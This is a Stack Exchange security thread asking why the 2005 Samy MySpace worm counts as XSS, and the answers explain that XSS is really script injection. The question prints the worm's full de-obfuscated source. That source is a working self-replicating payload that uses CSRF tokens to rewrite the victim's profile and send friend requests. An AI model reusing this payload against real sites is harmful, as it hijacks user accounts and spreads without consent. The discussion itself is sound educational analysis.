Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

Last night I was browsing notable computer attacks and came across the Samy worm, which apparently affected a huge portion of the MySpace network -- over one million users in under 24 hours, according to the perpetrator's story.

On his website, he offers a step-by-step look at how he developed the code, as well as the full source. I spent last night de-obfuscating it and looking at it to see how it worked. What I don't understand is why it's classified as an XSS attack? Nothing in the code is changing the origin or injecting code from another website into MySpace; everything is happening directly with MySpace URLs.

Can someone explain this to me? (Also, if you can explain what the purpose of function nothing() {} is, that would be an awesome bonus.)

The code, more properly formatted, is below:

<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="

var B = String.fromCharCode(34);
var A = String.fromCharCode(39);

function g() {
    var C;
    try {
        var D = document.body.createTextRange();
        C = D.htmlText
    }
    catch(e){}

    if(C) {
        return C
    } else {
        return eval('document.body.inne'+'rHTML')
    }
}

function getData(AU) {
    M = getFromURL(AU,'friendID');
    L = getFromURL(AU,'Mytoken')
}

function getQueryParams() {
    var E = document.location.search;
    var F = E.substring(1,E.length).split('&');
    var AS = new Array();
    for(var O = 0; O < F.length; O++) {
        var I=F[O].split('=');
        AS[I[0]]=I[1]
    }
    return AS
}

var J;
var AS = getQueryParams();
var L = AS['Mytoken'];
var M = AS['friendID'];

if(location.hostname=='profile.myspace.com') {
    document.location='http://www.myspace.com'+location.pathname+location.search
}
else {
    if(!M) {
        getData(g())
    }
    main()
}

function getClientFID() {
    return findIn(g(),'up_launchIC( '+A,A)
}

function nothing() {}

function paramsToString(AV) {
    var N = new String();
    var O = 0;
    for(var P in AV) {
        if(O>0) {
            N+='&'
        }
        var Q = escape(AV[P]);
        while(Q.indexOf('+')!=-1) {
            Q = Q.replace('+','%2B')
        }
        while(Q.indexOf('&')!=-1) {
            Q = Q.replace('&','%26')
        }
        N += P + '=' + Q;
        O++
    }

    return N
}

function httpSend(BH,BI,BJ,BK) {
    if(!J) {
        return false
    }

    eval('J.onr'+'eadystatechange=BI');
    J.open(BJ,BH,true);

    if(BJ=='POST') {
        J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
        J.setRequestHeader('Content-Length',BK.length)
    }

    J.send(BK);

    return true
}

function findIn(BF,BB,BC) {
    var R = BF.indexOf(BB) + BB.length;
    var S = BF.substring(R,R+1024);
    return S.substring(0,S.indexOf(BC))
}

function getHiddenParameter(BF,BG) {
    return findIn(BF,'name='+B+BG+B+' value='+B,B)
}

function getFromURL(BF,BG) {
    var T;
    if(BG=='Mytoken') {
        T = B
    } else {
        T='&'
    }

    var U = BG + '=';
    var V = BF.indexOf(U) + U.length;
    var W = BF.substring(V,V+1024);
    var X = W.indexOf(T);
    var Y = W.substring(0,X);
    return Y
}

function getXMLObj() {
    var Z = false;
    if(window.XMLHttpRequest) {
        try {
            Z = new XMLHttpRequest()
        } catch(e) {
            Z=false
        }
    } else if(window.ActiveXObject) {
        try {
            Z = new ActiveXObject('Msxml2.XMLHTTP')
        } catch(e){
            try {
                Z = new ActiveXObject('Microsoft.XMLHTTP')
            } catch(e) {
                Z = false
            }
        }
    }

    return Z
}

var AA = g();
var AB = AA.indexOf('m'+'ycode');
var AC = AA.substring(AB,AB+4096);
var AD = AC.indexOf('D'+'IV');
var AE = AC.substring(0,AD);
var AF;
if(AE) {
    AE = AE.replace('jav'+'a',A+'jav'+'a');
    AE = AE.replace('exp'+'r)','exp'+'r)'+A);
    AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'
}
var AG;

function getHome() {
    if(J.readyState!=4) {
        return
    }
    var AU = J.responseText;
    AG = findIn(AU,'P'+'rofileHeroes','</td>');
    AG = AG.substring(61,AG.length);
    if(AG.indexOf('samy') == -1) {
        if(AF) {
            AG += AF;
            var AR = getFromURL(AU,'Mytoken');
            var AS = new Array();
            AS['interestLabel'] = 'heroes';
            AS['submit'] = 'Preview';
            AS['interest'] = AG;
            J = getXMLObj();
            httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))
        }
    }
}

function postHero() {
    if(J.readyState!=4) {
        return
    }
    var AU = J.responseText;
    var AR = getFromURL(AU,'Mytoken');
    var AS = new Array();
    AS['interestLabel'] = 'heroes';
    AS['submit'] = 'Submit';
    AS['interest'] = AG;
    AS['hash'] = getHiddenParameter(AU,'hash');
    httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}

function main() {
    var AN = getClientFID();
    var BH = '/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
    J = getXMLObj();
    httpSend(BH,getHome,'GET');
    xmlhttp2 = getXMLObj();
    httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')
}

function processxForm() {
    if(xmlhttp2.readyState!=4) {
        return
    }
    var AU = xmlhttp2.responseText;
    var AQ = getHiddenParameter(AU,'hashcode');
    var AR = getFromURL(AU,'Mytoken');
    var AS = new Array();
    AS['hashcode'] = AQ;
    AS['friendID'] = '11851658';
    AS['submit'] = 'Add to Friends';
    httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}

function httpSend2(BH,BI,BJ,BK) {
    if(!xmlhttp2){
        return false
    } eval('xmlhttp2.onr'+'eadystatechange=BI');
    xmlhttp2.open(BJ,BH,true);
    if(BJ=='POST') {
        xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
        xmlhttp2.setRequestHeader('Content-Length',BK.length)
    }
    xmlhttp2.send(BK);
    return true
}

"></DIV>
share|improve this question
8  
The real news here is that I can't believe a million people still use MySpace. –  AJ Henderson Jun 12 '13 at 13:38
    
@AJHenderson Haha, it was back in 2005. The fact that I have to say "back in" makes me feel old. –  asteri Jun 12 '13 at 13:40
1  
The noting() function is probably just a replacement for a callback function that is supposed to be processed on httpSend() function's POST method. Without seeing the MySpace response code, it's difficult to judge, but my guess would be to prevent user notification on addy events. –  Noordung Jun 12 '13 at 13:58

3 Answers 3

up vote 8 down vote accepted

XSS has a weird name. You don't need multiple websites for it.

XSS essentially the html equivalent of SQL-injection. When a website outputs some attacker controlled text into a html document without encoding entities like <, > or " the attacker can inject hostile javascript into the html document which will run in the context of that document.

If you think of it as HTML-injection or javacript-injection it becomes much clearer what it is.

share|improve this answer
    
Ah, I see. I thought it was specifically "cross-site". That does make much more sense. –  asteri Jun 12 '13 at 15:21
1  
It is in a sense cross site. The script came from Samy, not myspace. –  Erlend Jun 12 '13 at 21:07

XSS doesn't necessarily have to be from one site to another. It simply means that user input is able to be used in such a way that it updates content of the site to make it compromised and try to attack those entering the site. It uses the trust of the victim website to get the victim users to run it.

In this case, he was able to submit information to MySpace that made people's MySpace get updated with the worm, which in turn posted the worm in to their content. If MySpace had had better protection against XSS, then it shouldn't have been possible for the worm to be hosted by entry in the profile.

share|improve this answer

XSS has always been a misnomer. It really should have always been called "HTML injection" or "web page markup injection" or "web page script injection".

One of the main potential results of script injection is indeed arbitrary cross-site scripting, which really just means cross-domain scripting. But of course, "web application worms" of this nature stay entirely within their own domain.

share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.